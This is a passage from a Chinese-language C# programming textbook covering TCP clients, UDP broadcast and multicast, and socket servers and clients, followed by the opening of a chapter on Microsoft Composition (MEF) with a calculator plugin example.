MainWindow() { InitializeComponent(); } private string _remoteHost = "localhost"; public string RemoteHost { get { return _remoteHost; } set { SetProperty(ref _remoteHost, value); } } private int _serverPort = 8800; public int ServerPort { get { return _serverPort; } set { SetProperty(ref _serverPort, value); } } private string _sessionId; public string SessionId { get { return _sessionId; } set { SetProperty(ref _sessionId, value); } } private CustomProtocolCommand _activeCommand; public CustomProtocolCommand ActiveCommand { get { return _activeCommand; } set { SetProperty(ref _activeCommand, value); } } private string _log; public string Log { get { return _log; } set { SetProperty(ref _log, value); } } private string _status; public string Status { get { return _status; } set { SetProperty(ref _status, value); } } //... } 当用户单击Connect按钮时,调用方法OnConnect。建立到TCP服务器的连接,调用 TcpClient类的ConnectAsync方法。如果连接处于失效模式,且再次调用OnConnect方法, 就抛出一个SocketException异常,其中ErrorCode设置为0x2748。这里使用C# 6异常过滤器 来处理SocketException,创建一个新的TcpClient,所以再次调用OnConnect可能会成功: private async void OnConnect(object sender, RoutedEventArgs e) { try { await _client.ConnectAsync(RemoteHost, ServerPort); } catch (SocketException ex) when (ex.ErrorCode == 0x2748) { _client.Close(); _client = new TcpClient(); MessageBox.Show("please retry connect"); } catch (Exception ex) { MessageBox.Show(ex.Message); } } 请求发送到TCP服务器是由OnSendCommand方法处理的。这里的代码非常类似于服 务器上的收发代码。GetStream方法返回一个NetworkStream,这用于把(WriteAsync)数 据写入服务器,从服务器中读取(ReadAsync)数据: private async void OnSendCommand(object sender, RoutedEventArgs e) { try { if (! VerifyIsConnected()) return; NetworkStream stream = _client.GetStream(); byte[] writeBuffer = Encoding.ASCII.GetBytes(GetCommand()); await stream.WriteAsync(writeBuffer, 0, writeBuffer.Length); await stream.FlushAsync(); byte[] readBuffer = new byte[1024]; int read = await stream.ReadAsync(readBuffer, 0, readBuffer.Length); string messageRead = Encoding.ASCII.GetString(readBuffer, 0, read); Log += messageRead + Environment.NewLine; ParseMessage(messageRead); } catch (Exception ex) { MessageBox.Show(ex.Message); } } 为了建立可以发送到服务器的数据,从OnSendCommand内部调用GetCommand方法。 GetCommand又调用方法GetSessionHeader来建立会话标识符,然后提取ActiveCommand属 性(其类型是CustomProtocolCommand),其中包含选中的命令名称和输入的数据: private string GetCommand() => $"{GetSessionHeader()}{ActiveCommand? .Name}::{ActiveCommand? .Action}"; private string GetSessionHeader() { if (string.IsNullOrEmpty(SessionId)) return string.Empty; return $"ID::{SessionId}::"; } 从服务器接收数据后使用ParseMessage方法。这个方法拆分消息以设置Status和 SessionId属性: private void ParseMessage(string message) { if (string.IsNullOrEmpty(message)) return; string[] messageColl = message.Split( new string[] { "::" }, StringSplitOptions.RemoveEmptyEntries); Status = messageColl[0]; SessionId = GetSessionId(messageColl); } 运行应用程序时,可以连接到服务器,选择命令,设置回应和反向发送的值,查看来 自服务器的所有消息,如图25-5所示。 图25-5 25.5.4 TCP和UDP 本节要介绍的另一个协议是UDP(用户数据报协议)。UDP是一个几乎没有开销的简 单协议。在使用TCP发送和接收数据之前,需要建立连接。而这对于UDP是没有必要的。 使用UDP只需要开始发送或接收。当然,这意味着UDP开销低于TCP,但也更不可靠。当 使用UDP发送数据时,接收这些数据时就没有得到信息。UDP经常用于速度和性能需求大 于可靠性要求的情形,例如视频流。UDP还可以把消息广播到一组节点。相反,TCP提供 了许多功能来确保数据的传输,它还提供了错误校正以及当数据丢失或数据包损坏时重新 传输它们的功能。最后,TCP可缓冲传入和传出的数据,还保证在传输过程中,在把数据 包传送给应用程序之前重组杂乱的一系列数据包。即使有一些额外的开销,TCP仍是在 Internet上使用最广泛的协议,因为它有非常高的可靠性。 25.6 使用UDP 为了演示UDP,创建两个控制台应用程序(包)项目,显示UDP的各种特性:直接将 数据发送到主机,在本地网络上把数据广播到所有主机上,把数据多播到属于同一个组的 一组节点上。 UdpSender和UdpReceiver项目使用以下依赖项和名称空间: 依赖项: NETStandard.Library System.Net.NameResolution 名称空间: System System.Linq System.Net System.Net.Sockets System.Text System.Threading.Tasks static System.Console 25.6.1 建立UDP接收器 从接收应用程序开始。该应用程序使用命令行参数来控制应用程序的不同功能。所需 的命令行参数是-p,它指定接收器可以接收数据的端口号。可选参数-g与一个组地址用于 多播。ParseCommandLine方法解析命令行参数,并将结果放入变量port和groupAddress中 (代码文件UdpReceiver/ Program.cs): static void Main(string[] args) { int port; string groupAddress; if (! ParseCommandLine(args, out port, out groupAddress)) { ShowUsage(); return; } ReaderAsync(port, groupAddress).Wait(); ReadLine(); } private static void ShowUsage() { WriteLine("Usage: UdpReceiver -p port [-g groupaddress]"); } Reader方法使用在程序参数中传入的端口号创建一个UdpClient对象。ReceiveAsync方 法等到一些数据的到来。这些数据可以使用UdpReceiveResult和Buffer属性找到。数据编 码为字符串后,写入控制台,继续循环,等待下一个要接收的数据: private static async Task ReaderAsync(int port, string groupAddress) { using (var client = new UdpClient(port)) { if (groupAddress ! = null) { client.JoinMulticastGroup(IPAddress.Parse(groupAddress)); WriteLine( $"joining the multicast group {IPAddress.Parse(groupAddress)}"); } bool completed = false; do { WriteLine("starting the receiver"); UdpReceiveResult result = await client.ReceiveAsync(); byte[] datagram = result.Buffer; string received = Encoding.UTF8.GetString(datagram); WriteLine($"received {received}"); if (received == "bye") { completed = true; } } while (! completed); WriteLine("receiver closing"); if (groupAddress ! = null) { client.DropMulticastGroup(IPAddress.Parse(groupAddress)); } } } 启动应用程序时,它等待发送方发送数据。目前,忽略多播组,只使用参数和端口 号,因为多播在创建发送器后讨论。 25.6.2 创建UDP发送器 UDP发送器应用程序还允许通过命令行选项进行配置。它比接收应用程序有更多的选 项。除了命令行参数- p指定端口号之外,发送方还允许使用- b在本地网络中广播到所有 节点,使用- h识别特定的主机,使用-g指定一个组,使用-ipv6表明应该使用IPv6取代IPv4 (代码文件UdpSender /Program.cs): static void Main(string[] args) { int port; string hostname; bool broadcast; string groupAddress; bool ipv6; if (! ParseCommandLine(args, out port, out hostname, out broadcast, out groupAddress, out ipv6)) { ShowUsage(); ReadLine(); return; } IPEndpoint endpoint = GetIPEndPoint(port, hostname, broadcast, groupAddress, ipv6).Result; Sender(endpoint, broadcast, groupAddress).Wait(); WriteLine("Press return to exit..."); ReadLine(); } private static void ShowUsage() { WriteLine("Usage: UdpSender -p port [-g groupaddress | -b | -h hostname] " + "[-ipv6]"); WriteLine("\t-p port number\tEnter a port number for the sender"); WriteLine("\t-g group address\tGroup address in the range 224.0.0.0 " + "to 239.255.255.255"); WriteLine("\t-b\tFor a broadcast"); WriteLine("\t-h hostname\tUse the hostname option if the message should " + "be sent to a single host"); } 发送数据时,需要一个IPEndPoint。根据程序参数,以不同的方式创建它。对于广 播,IPv4定义了从IPAddress.Broadcast返回的地址255.255.255.255。没有用于广播的IPv6地 址,因为IPv6不支持广播。IPv6用多播替代广播。多播也添加到IPv4中。 传递主机名时,主机名使用DNS查找功能和Dns类来解析。GetHostEntryAsync方法返 回一个IPHostEntry,其中IPAddress可以从AddressList属性中检索。根据使用IPv4还是 IPv6,从这个列表中提取不同的IPAddress。根据网络环境,只有一个地址类型是有效 的。如果把一个组地址传递给方法,就使用IPAddress.Parse解析地址: public static async Task<IPEndPoint> GetIPEndPoint(int port, string hostName, bool broadcast, string groupAddress, bool ipv6) { IPEndPoint endpoint = null; try { if (broadcast) { endpoint = new IPEndPoint(IPAddress.Broadcast, port); } else if (hostName ! = null) { IPHostEntry hostEntry = await Dns.GetHostEntryAsync(hostName); IPAddress address = null; if (ipv6) { address = hostEntry.AddressList.Where( a => a.AddressFamily == AddressFamily.InterNetworkV6) .FirstOrDefault(); } else { address = hostEntry.AddressList.Where( a => a.AddressFamily == AddressFamily.InterNetwork) .FirstOrDefault(); } if (address == null) { Func<string> ipversion = () => ipv6 ? "IPv6" : "IPv4"; WriteLine($"no {ipversion()} address for {hostName}"); return null; } endpoint = new IPEndPoint(address, port); } else if (groupAddress ! = null) { endpoint = new IPEndPoint(IPAddress.Parse(groupAddress), port); } else { throw new InvalidOperationException($"{nameof(hostName)}, " + "{nameof(broadcast)}, or {nameof(groupAddress)} must be set"); } } catch (SocketException ex) { WriteLine(ex.Message); } return endpoint; } 现在,关于UDP协议,讨论发送器最重要的部分。在创建一个UdpClient实例,并将 字符串转换为字节数组后,就使用SendAsync方法发送数据。请注意接收器不需要侦听, 发送方也不需要连接。UDP是很简单的。然而,如果发送方把数据发送到未知的地方—— 无人接收数据,也不会得到任何错误消息: private async Task Sender(IPEndpoint endpoint, bool broadcast, string groupAddress) { try { string localhost = Dns.GetHostName(); using (var client = new UdpClient()) { client.EnableBroadcast = broadcast; if (groupAddress ! = null) { client.JoinMulticastGroup(IPAddress.Parse(groupAddress)); } bool completed = false; do { WriteLine("Enter a message or bye to exit"); string input = ReadLine(); WriteLine(); completed = input == "bye"; byte[] datagram = Encoding.UTF8.GetBytes($"{input} from {localhost}"); int sent = await client.SendAsync(datagram, datagram.Length, endpoint); } while (! completed); if (groupAddress ! = null) { client.DropMulticastGroup(IPAddress.Parse(groupAddress)); } } } catch (SocketException ex) { WriteLine(ex.Message); } } 现在可以用如下选项启动接收器: -p 9400 用如下选项启动发送器: -p 9400 -h localhost 可以在发送器中输入数据,发送到接收器。如果停止接收器,就可以继续发送,而不 会检测到任何错误。也可以尝试使用主机名而不是localhost,并在另一个系统上运行接收 器。 在发送器中,可以添加- b选项,删除主机名,给在同一个网络上侦听端口9400的所 有节点发送广播: -p 9400 -b 请注意广播不跨越大多数路由器,当然不能在互联网上使用广播。这种情况和多播不 同,参见下面的讨论。 25.6.3 使用多播 广播不跨越路由器,但多播可以跨越。多播用于将消息发送到一组系统上——所有节 点都属于同一个组。在IPv4中,为使用多播保留了特定的IP地址。地址是从224.0.0.0到 239.255.255.253。这些地址中的许多都保留给具体的协议,例如用于路由器,但 239.0.0.0/8可以私下在组织中使用。这非常类似于IPv6,它为不同的路由协议保留了著名 的IPv6多播地址。地址f::/ 16是组织中的本地地址,地址ffxe::/16有全局作用域,可以在公 共互联网上路由。 对于使用多播的发送器或接收器,必须通过调用UdpClient的JoinMulticastGroup方法 来加入一个多播组: client.JoinMulticastGroup(IPAddress.Parse(groupAddress)); 为了再次退出该组,可以调用方法DropMulticastGroup: client.DropMulticastGroup(IPAddress.Parse(groupAddress)); 用如下选项启动接收器和发送器: -p 9400 -g 230.0.0.1 它们都属于同一个组,多播在进行。和广播一样,可以启动多个接收器和多个发送 器。接收器将接收来自每个接收器的几乎所有消息。 25.7 使用套接字 HTTP协议基于TCP,因此HttpXX类在TcpXX类上提供了一个抽象层。然而TcpXX类 提供了更多的控制。使用套接字,甚至可以获得比TcpXX或UdpXX类更多的控制。通过 套接字,可以使用不同的协议,不仅是基于TCP或UDP的协议,还可以创建自己的协议。 更重要的是,可以更多地控制基于TCP或UDP的协议。 SocketServerSender和SocketClient项目实现为控制台应用程序(包),使用如下依赖 项和名称空间: 依赖项 NETStandard.Library System.Net.NameResolution 名称空间: System System.Linq System.IO System.Net System.Net.Sockets System.Text System.Threading System.Threading.Tasks static System.Console 25.7.1 使用套接字创建侦听器 首先用一个服务器侦听传入的请求。服务器需要一个用程序参数传入的端口号。之 后,就调用Listener方法(代码文件SocketServer / Program.cs): static void Main(string[] args) { if (args.Length ! = 1) { ShowUsage(); return; } int port; if (! int.TryParse(args[0], out port)) { ShowUsage(); return; } Listener(port); ReadLine(); } private void ShowUsage() { WriteLine("SocketServer port"); } 对套接字最重要的代码在下面的代码片段中。侦听器创建一个新的Socket对象。给构 造函数提供AddressFamily、SocketType和ProtocolType。AddressFamily是一个大型枚举, 提供了许多不同的网络。例如DECnet(Digital Equipment在1975年发布它,主要用作PDP- 11系统之间的网络通信);Banyan VINES(用于连接客户机);当然还有用于IPv4的 InternetWork和用于IPv6的InternetWorkV6。如前所述,可以为大量网络协议使用套接字。 第二个参数SocketType指定套接字的类型。例如用于TCP的Stream、用于UDP的Dgram或 用于原始套接字的Raw。第三个参数是用于ProtocolType的枚举。例如IP、Ucmp、Udp、 IPv6和Raw。所选的设置需要匹配。例如,使用TCP与IPv4,地址系列就必须是 InterNetwork,流套接字类型Stream、协议类型Tcp。要使用IPv4创建一个UDP通信,地址 系列就需要设置为InterNetwork、套接字类型Dgram和协议类型Udp。 public static void Listener(int port) { var listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); listener.ReceiveTimeout = 5000; // receive timout 5 seconds listener.SendTimeout = 5000; // send timeout 5 seconds // etc. 从构造函数返回的侦听器套接字绑定到IP地址和端口号上。在示例代码中,侦听器绑 定到所有本地IPv4地址上,端口号用参数指定。调用Listen方法,启动套接字的侦听模 式。套接字现在可以接受传入的连接请求。用Listen方法指定参数,定义了服务器的缓冲 区队列的大小——在处理连接之前,可以同时连接多少客户端: public static void Listener(int port) { // etc. listener.Bind(new IPEndPoint(IPAddress.Any, port)); listener.Listen(backlog: 15); WriteLine($"listener started on port {port}"); // etc. 等待客户端连接在Socket类的方法Accept中进行。这个方法阻塞线程,直到客户机连 接为止。客户端连接后,需要再次调用这个方法,来满足其他客户端的请求;所以在 while循环中调用此方法。为了进行侦听,启动一个单独的任务,该任务可以在调用线程 中取消。在方法CommunicateWithClientUsingSocketAsync中执行使用套接字读写的任务。 这个方法接收绑定到客户端的Socket实例,进行读写: public static void Listener(int port) { // etc. var cts = new CancellationTokenSource(); var tf = new TaskFactory(TaskCreationOptions.LongRunning, TaskContinuationOptions.None); tf.StartNew(() => // listener task { WriteLine("listener task started"); while (true) { if (cts.Token.IsCancellationRequested) { cts.Token.ThrowIfCancellationRequested(); break; } WriteLine("waiting for accept"); Socket client = listener.Accept(); if (! client.Connected) { WriteLine("not connected"); continue; } WriteLine($"client connected local address " + $"{((IPEndPoint)client.LocalEndPoint).Address} and port " + $"{((IPEndPoint)client.LocalEndPoint).Port}, remote address " + $"{((IPEndPoint)client.RemoteEndPoint).Address} and port " + $"{((IPEndPoint)client.RemoteEndPoint).Port}"); Task t = CommunicateWithClientUsingSocketAsync(client); } listener.Dispose(); WriteLine("Listener task closing"); }, cts.Token); WriteLine("Press return to exit"); ReadLine(); cts.Cancel(); } 为了与客户端沟通,创建一个新任务。这会释放侦听器任务,立即进行下一次迭代, 等待下一个客户端连接。Socket类的Receive方法接受一个缓冲,其中的数据和标志可以读 取,用于套接字。这个字节数组转换为字符串,使用Send方法,连同一个小变化一起发送 回客户机: private static Task CommunicateWithClientUsingSocketAsync(Socket socket) { return Task.Run(() => { try { using (socket) { bool completed = false; do { byte[] readBuffer = new byte[1024]; int read = socket.Receive(readBuffer, 0, 1024, SocketFlags.None); string fromClient = Encoding.UTF8.GetString(readBuffer, 0, read); WriteLine($"read {read} bytes: {fromClient}"); if (string.Compare(fromClient, "shutdown", ignoreCase: true) == 0) { completed = true; } byte[] writeBuffer = Encoding.UTF8.GetBytes($"echo {fromClient}"); int send = socket.Send(writeBuffer); WriteLine($"sent {send} bytes"); } while (! completed); } WriteLine("closed stream and client socket"); } catch (Exception ex) { WriteLine(ex.Message); } }); } 服务器已经准备好了。然而,下面看看通过扩展抽象级别读写通信信息的不同方式。 25.7.2 使用NetworkStream和套接字 前面使用了NetworkStream类、TcpClient和TcpListener类。NetworkStream构造函数允 许传递Socket,所以可以使用流方法Read和Write替代套接字的Send和Receive方法。在 NetworkStream的构造函数中,可以定义流是否应该拥有套接字。如这段代码所示,如果 流拥有套接字,就在关闭流时关闭套接字(代码文件SocketServer / Program.cs): private static async Task CommunicateWithClientUsingNetworkStreamAsync( Socket socket) { try { using (var stream = new NetworkStream(socket, ownsSocket: true)) { bool completed = false; do { byte[] readBuffer = new byte[1024]; int read = await stream.ReadAsync(readBuffer, 0, 1024); string fromClient = Encoding.UTF8.GetString(readBuffer, 0, read); WriteLine($"read {read} bytes: {fromClient}"); if (string.Compare(fromClient, "shutdown", ignoreCase: true) == 0) { completed = true; } byte[] writeBuffer = Encoding.UTF8.GetBytes($"echo {fromClient}"); await stream.WriteAsync(writeBuffer, 0, writeBuffer.Length); } while (! completed); } WriteLine("closed stream and client socket"); } catch (Exception ex) { WriteLine(ex.Message); } } 要在代码示例中使用这个方法,需要更改Listener方法,调用方法 CommunicateWithClient-UsingNetworkStreamAsync,而不是方法 CommunicateWithClientUsingSocketAsync。 25.7.3 通过套接字使用读取器和写入器 下面再添加一个抽象层。因为NetworkStream派生于Stream类,还可以使用读取器和 写入器访问套接字。只需要注意读取器和写入器的生存期。调用读取器和写入器的 Dispose方法,还会销毁底层的流。所以要选择StreamReader和StreamWriter的构造函数, 其中leaveOption参数可以设置为true。之后,在销毁读取器和写入器时,就不会销毁底层 的流了。NetworkStream在外层using语句的最后销毁,这又会关闭套接字,因为它拥有套 接字。还有另一个方面需要注意:通过套接字使用写入器时,默认情况下,写入器不刷新 数据,所以它们保存在缓存中,直到缓存已满。使用网络流,可能需要更快的回应。这里 可以把AutoFlush属性设置为true(也可以调用FlushAsync方法): public static async Task CommunicateWithClientUsingReadersAndWritersAsync( Socket socket) { try { using (var stream = new NetworkStream(socket, ownsSocket: true)) using (var reader = new StreamReader(stream, Encoding.UTF8, false, 8192, leaveOpen: true)) using (var writer = new StreamWriter(stream, Encoding.UTF8, 8192, leaveOpen: true)) { writer.AutoFlush = true; bool completed = false; do { string fromClient = await reader.ReadLineAsync(); WriteLine($"read {fromClient}"); if (string.Compare(fromClient, "shutdown", ignoreCase: true) == 0) { completed = true; } await writer.WriteLineAsync($"echo {fromClient}"); } while (! completed); } WriteLine("closed stream and client socket"); } catch (Exception ex) { WriteLine(ex.Message); } } 要在代码示例中使用这个方法,需要更改Listener方法来调用方法 CommunicateWithClientUsing-ReadersAndWriters,而不是方法 CommunicateWithClientUsingSocketAsync。  注意: 流、读取器和写入器参见第23章。 25.7.4 使用套接字实现接收器 接收方应用程序SocketClient也实现为一个控制台应用程序(包)。通过命令行参 数,需要传递服务器的主机名和端口号。成功解析命令行后,调用方法SendAndReceive与 服务器通信(代码文件SocketClient / Program.cs): static void Main(string[] args) { if (args.Length ! = 2) { ShowUsage(); return; } string hostName = args[0]; int port; if (! int.TryParse(args[1], out port)) { ShowUsage(); return; } WriteLine("press return when the server is started"); ReadLine(); SendAndReceive(hostName, port).Wait(); ReadLine(); } private static void ShowUsage() { WriteLine("Usage: SocketClient server port"); } SendAndReceive方法使用DNS名称解析,从主机名中获得IPHostEntry。这个 IPHostEntry用来得到主机的IPv4地址。创建Socket实例后(其方式与为服务器创建代码相 同), Connect方法使用该地址连接到服务器。连接完成后,调用Sender和Receiver方法, 创建不同的任务,这允许同时运行这些方法。接收方客户端可以同时读写服务器: public static async Task SendAndReceive(string hostName, int port) { try { IPHostEntry ipHost = await Dns.GetHostEntryAsync(hostName); IPAddress ipAddress = ipHost.AddressList.Where( address => address.AddressFamily == AddressFamily.InterNetwork).First(); if (ipAddress == null) { WriteLine("no IPv4 address"); return; } using (var client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)) { client.Connect(ipAddress, port); WriteLine("client successfully connected"); var stream = new NetworkStream(client); var cts = new CancellationTokenSource(); Task tSender = Sender(stream, cts); Task tReceiver = Receiver(stream, cts.Token); await Task.WhenAll(tSender, tReceiver); } } catch (SocketException ex) { WriteLine(ex.Message); } }  注意: 如果改变地址列表的过滤方式,得到一个IPv6地址,而不是IPv4地 址,则还需要改变Socket调用,为IPv6地址系列创建一个套接字。 Sender方法要求用户输入数据,并使用WriteAsync方法将这些数据发送到网络流。 Receiver方法用ReadAsync方法接收流中的数据。当用户进入终止字符串时,通过 CancellationToken从Sender任务中发送取消信息: public static async Task Sender(NetworkStream stream, CancellationTokenSource cts) { WriteLine("Sender task"); while (true) { WriteLine("enter a string to send, shutdown to exit"); string line = ReadLine(); byte[] buffer = Encoding.UTF8.GetBytes($"{line}\r\n"); await stream.WriteAsync(buffer, 0, buffer.Length); await stream.FlushAsync(); if (string.Compare(line, "shutdown", ignoreCase: true) == 0) { cts.Cancel(); WriteLine("sender task closes"); break; } } } private const int ReadBufferSize = 1024; public static async Task Receiver(NetworkStream stream, CancellationToken token) { try { stream.ReadTimeout = 5000; WriteLine("Receiver task"); byte[] readBuffer = new byte[ReadBufferSize]; while (true) { Array.Clear(readBuffer, 0, ReadBufferSize); int read = await stream.ReadAsync(readBuffer, 0, ReadBufferSize, token); string receivedLine = Encoding.UTF8.GetString(readBuffer, 0, read); WriteLine($"received {receivedLine}"); } } catch (OperationCanceledException ex) { WriteLine(ex.Message); } } 运行客户端和服务器,可以看到通过TCP的通信。  注意: 示例代码实现了一个TCP客户机和服务器。TCP需要一个连接,才能 发送和接收数据;为此要调用Connect方法。对于UDP,也可以调用Connect连接方法, 但它不建立连接。使用UDP时,不是调用Connect方法,而可以使用SendTo和 ReceiveFrom方法代替。这些方法需要一个EndPoint参数,在发送和接收时定义端点。  注意: 取消标记参见第21章。 25.8 小结 本章回顾了System.Net名称空间中用于网络通信的.NET Framework类。从中可了解 到,某些.NET基类可处理在网络和Internet上打开的客户端连接,如何给服务器发送请求 和从服务器接收响应 作为经验规则,在使用System.Net名称空间中的类编程时,应尽可能一直使用最通用 的类。例如,使用TCPClient类代替Socket类,可以把代码与许多低级套接字细节分离开 来。更进一步,HttpClient类是利用HTTP协议的一种简单方式。 本书更多地讨论网络,而不是本章提到的核心网络功能。第42章将介绍ASP.NET Web API,它使用HTTP协议提供服务。第43章探讨WebHooks和SignalR,这两个技术提供 了事件驱动的通信。第44章给出了WCF(Windows Communication Foundation)的信息, 这个通信技术使用旧风格的Web服务方法,也提供了二进制通信。 下一章讨论Composition Framework,以前称为Managed Extensiblity Framework (MEF)。 第26章 Composition 本章要点 ● Composition Framework的体系结构 ● 使用特性的Composition ● 基于约定的注册 ● 协定 ● 部件的导出和导入 ● 宿主应用程序使用的容器 ● 部件的惰性加载 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● 基于特性的示例 ● 基于约定的示例 ● UI计算器(WPF和UWP) 26.1 概述 Microsoft Composition框架在部件和容器之间创建独立性。部件可以在容器中使用, 不需要容器知道实现或其他细节。容器只需要一个协定,例如,一个使用部件的接口。 Microsoft Composition可以用于不同的场景,比如依赖注入容器,甚至可以用它在应 用程序发布后,将插件动态加载到应用程序中,给应用程序添加功能。为了学习这些场 景,需要一个基础。 为了简化应用程序的开发,最好实践关注点的分离(Separation of Concerns, SoC)。 SoC是一个设计原则,它将程序分解为不同的部分,每个部分都有自己的责任。有了不同 的部分,就可以彼此独立地重用和更新这些部分。 这些部分或组件之间是紧密耦合的,很难彼此独立地重用和更新这些组件。使用接口 进行低级耦合,有助于达到独立的目标。 使用接口进行耦合,并允许独立地开发任何具体的实现代码,称为依赖注入设计模 式。依赖注入实现了控制的反转,即逆转对使用什么实现代码的控制。使用接口的组件通 过属性接收实现代码(属性注入),或通过构造函数接收实现代码(构造函数注入)。通 过接口使用组件时,没有必要了解实现代码。不同的实现代码可用于不同的场景,例如, 单元测试,可以使用不同的实现代码提供测试数据。 依赖注入可以通过依赖注入容器来实现。使用依赖注入容器时,容器定义了接口应使 用的实现方式。Microsoft Composition可以利用容器的功能。这是该技术的一个用例。  注意: 依赖注入参见第31章。第31章介绍了如何使用依赖注入容器Microsoft. Framework.DependencyInjection。 插件可以给现有的应用程序添加功能。我们可以创建一个宿主应用程序,它随着时间 的推移会获得越来越多的功能——这些功能可能是开发人员团队编写的,不同的供应商也 可以创建插件来扩展自己的应用程序。 目前,插件用于许多不同的应用程序,如Internet Explorer和Visual Studio。Internet Explorer是一个宿主应用程序,它提供了一个插件框架,给许多公司提供浏览网页时的扩 展。Shockwave Flash Object允许浏览包含Flash内容的网页。Google工具栏提供了可以从 Internet Explorer上快速访问的特定Google功能。Visual Studio也有一个插件模型,它允许 用不同级别的扩展程序来扩展Visual Studio。Visual Studio插件使用了Managed Extensibility Framework(MEF),即Microsoft Composition的第一个版本。 对于自定义应用程序,总是可以创建一个插件模型来动态加载和使用程序集中的功 能。但需要解决查找和使用插件的问题。这个任务可以使用Microsoft Composition自动完 成。为了创建边界,MEF有助于删除部件和使用这些部件的客户端或调用者之间的依赖 性。  注意: Microsoft Composition以前的版本称为Microsoft Extensibility Framework (MEF)。MEF 1.x仍然可用于完整的.NET Framework,在 System.ComponentModel. Composition名称空间中。Microsoft Composition的新名称空间 是System.Composition。Microsoft Composition可通过NuGet包使用。 MEF 1.x提供不同的类别,例如,AssemblyCatalog或DirectoryCatalog——在程序集 或在目录中查找类型。Microsoft Composition的新版本没有提供这个特性。然而,可以 自己构建这个部分。第16章展示了如何使用.NET 4.6和.NET Core 5动态地加载程序集。 可以使用这些信息来建立自己的目录类别。  注意: MEF(或Composition)自.NET 4.0以来,一直可用于通过.NET创建插 件。.NET 4.5 Framework提供了另一个技术以编写动态加载插件的灵活的应用程序,即 Managed Add-in Framework(MAF)。MAF自从.NET 3.5以来就有,它使用一个管道在 插件和宿主应用程序之间通信,使开发过程比较复杂,但通过应用程序域或不同的进 程使插件彼此分开。在这方面,MEF是两种技术中比较简单的。MAF和MEF可以合并 起来,发挥各自的长处(而且完成了两倍的工作)。MAF没有移植到.NET Core中,只 能用于完整的框架。 本章介绍的主要名称空间是System. Composition。 26.2 Composition库的体系结构 Microsoft Composition通过部件和容器来构建,如图26-1所示。容器查找出口的部 件,把入口连接到出口上,因此使部件可用于宿主应用程序。 图26-1 下面是部件加载的完整过程。前面提及,部件通过出口来查找。出口可以使用特性定 义,或在C#代码中使用流利API定义。多个出口提供程序可以连接成链,以定制出口,例 如,使自定义出口提供程序只允许部件用于特定的用户或角色。容器使用出口提供程序把 入口连接到出口上,该容器自己就是一个出口提供程序。 Microsoft Composition包含的NuGet包如图26-2所示。该图还显示了库之间的依赖关 系。 图26-2 表26-1解释了这些NuGet包的内容。 表26-1 NuGet包 说明 System.Composition.AttributedModel 这个NuGet包包含Export和Import特性。这个包允 许使用特性导出和导入部件 System.Composition.Convention 这个NuGet包可以使用普通的旧CLR对象(Plain Old CLR Object, POCO)作为部件。可以用编程 方式应用规则,定义出口 System.Composition.Runtime 这个NuGet包包含运行库,因此宿主应用程序需 要它。类CompositionContext包含在这个包中。 CompositionContext是一个抽象类,它允许获得 出口的上下文 System.Composition.Hosting NuGet包包含CompositionHost。CompositionHost 派生自基类Composition Context,从而给出了一 个具体的类,来检索出口 System.Composition.TypedParts 这个NuGet包定义了类ContainerConfiguration。有 了ContainerConfiguration,就可以定义应该用于 出口的程序集和部件。类 CompositionContextExtensions为 CompositionContext定义了扩展方法 SatisfyImports,便于匹配进口与出口 26.2.1 使用特性的Composition 下面用一个简单的例子来说明Composition体系结构。宿主应用程序可以加载插件。 通过Microsoft Composition,把插件表示为部件。部件定义为出口,并加载到一个导入部 件的容器中。 AttributeBasedSample的样例代码定义了如下引用和名称空间: CalculatorContract (类库) 名称空间 System.Collections.Generic SimpleCalculator (类库) 引用 CalculatorContract System.Composition.AttributedModel 名称空间: System System.Collections.Generic System.Composition AdvancedCalculator (类库) 引用 CalculatorContract System.Composition.AttributedModel 名称空间 System System.Collections.Generic System.Composition SimpleHost (控制台应用程序) 引用 CalculatorContract SimpleCalculator System.Composition.AttributedModel System.Composition.Hosting System.Composition.Runtime System.Composition.TypedParts 名称空间 System System.Collections.Generic System.Composition System.Composition.Hosting static System.Console 在这个例子中,创建一个简单的控制台应用程序作为宿主,以包含库中的计算器部 件。为了使宿主和计算器插件彼此独立,需要3个项目。其中一个项目CalculatorContract 包含了插件程序集和宿主可执行文件都使用的协定。项目SimpleCalculator包含部件,实现 协定程序集定义的协定。宿主使用协定程序集调用部件。 CalculatorContract程序集中的协定通过两个接口ICalculator和IOperation来定义。 ICalculator接口定义了GetOperations()和Operate()方法。GetOperations()方法返回 插件计算器支持的所有操作对应的列表,Operate()方法可调用操作。这个接口很灵 活,因为计算器可以支持不同的操作。如果该接口定义了Add()和Subtract()方法, 而不是灵活的Operate()方法,就需要一个新版本的接口来支持Divide()和 Multiply()方法。而使用本例定义的ICalculator接口,计算器就可以提供任意多个操作, 且有任意多个操作数(代码文件AttributeBasedSample/CalculatorContract/ICalculator.cs)。 public interface ICalculator { IList<IOperation> GetOperations(); double Operate(IOperation operation, double[] operands); } ICalculator接口使用IOperation接口返回操作列表,并调用一个操作。IOperation接口 定义了只读属性Name和NumberOperands(代码文件 AttributeBasedSample/CalculatorContract/IOperation.cs)。 public interface IOperation { string Name { get; } int NumberOperands { get; } } CalculatorContract程序集不需要引用System.Composition程序集,只要.NET接口包含 在其中即可。 插件程序集SimpleCalculator包含的类实现了协定定义的接口。Operation类实现了 IOperation接口。这个类仅包含接口定义的两个属性。该接口定义了属性的get访问器;内 部的set访问器用于在程序集内部设置属性(代码文件 AttributeBasedSample/SimpleCalculator/Operation.cs)。 public class Operation: IOperation { public string Name { get; internal set; } public int NumberOperands { get; internal set; } } Calculator类实现了ICalculator接口,从而提供了这个插件的功能。按照Export特性的 定义,Calculator类导出为部件。这个特性在NuGet包System.Composition.AttributeModel中 的System. Composition名称空间中定义(代码文件 AttributeBasedSample/SimpleCalculator/Calculator.cs)。 [Export(typeof(ICalculator))] public class Calculator: ICalculator { public IList<IOperation> GetOperations() => new List<IOperation>() { new Operation { Name="+", NumberOperands=2}, new Operation { Name="-", NumberOperands=2}, new Operation { Name="/", NumberOperands=2}, new Operation { Name="*", NumberOperands=2} }; public double Operate(IOperation operation, double[] operands) { double result = 0; switch (operation.Name) { case "+": result = operands[0] + operands[1]; break; case "-": result = operands[0]-operands[1]; break; case "/": result = operands[0] / operands[1]; break; case "*": result = operands[0] * operands[1]; break; default: throw new InvalidOperationException($"invalid operation {operation.Name }"); } return result; } } 